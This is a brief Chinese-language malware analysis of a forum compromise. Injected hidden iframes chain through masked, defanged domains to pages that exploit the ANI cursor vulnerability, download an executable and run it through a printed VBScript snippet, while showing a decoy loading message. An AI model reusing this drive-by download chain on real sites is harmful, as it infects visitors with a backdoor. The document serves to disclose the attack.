某易论坛被植入利用ANI漏洞传播 Backdoor.Win32.Agent.ahj 的代码

植入的代码为：

/---
＜iframe src=hxxp://www.y*xg**m7****8.com/y*x.htm width=0 height=0＞＜/iframe＞
---/

hxxp://www.y*xg**m7****8.com/y*x.htm 包含代码：

/---
＜iframe src="hxxp://l****l*8**0.com/x**x/x**x.htm" width=1 height=1＞＜/iframe＞
---/

hxxp://l****l*8**0.com/x**x/x**x.htm　包含代码：

/---
＜iframe src="hxxp://l****l*8**0.com/x**x/x**x**1.htm" width=100 height=1＞＜/iframe＞
＜iframe src="hxxp://l****l*8**0.com/x**x/x**x**2.htm" width=100 height=1＞＜/iframe＞
---/

hxxp://l****l*8**0.com/x**x/x**x**1.htm 包含代码：

/---
＜DIV style="CURSOR: url('hxxp://l****l*8**0.com/x**x/xx2.jpg')"＞
利用ANI漏洞 通过 xx2.jpg  下载文件 xx.exe。
hxxp://l****l*8**0.com/x**x/x**x**2.htm 的内容为分为两部分。
第一部分为VBScript代码，功能是 利用  Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 xx.exe，保存为c:/xiaogang.exe。然后创建内容为
/---

Set Shell ＝ CreateObject（"Wscript.Shell"）

Shell.Run （"c:/xiaogang.exe"）

Set Shell ＝ Nothing

---/

的文件xiaogang.vbs。

通过Shell.Application 对象 Zhong 的 ShellExecute 方法 执行xiaogang.vbs，从而运行xiaogang.exe。

第二部分是jscript代码：是输出迷惑信息：

/---

你好，您所访问的页面正在加载中...请稍候片刻....

---/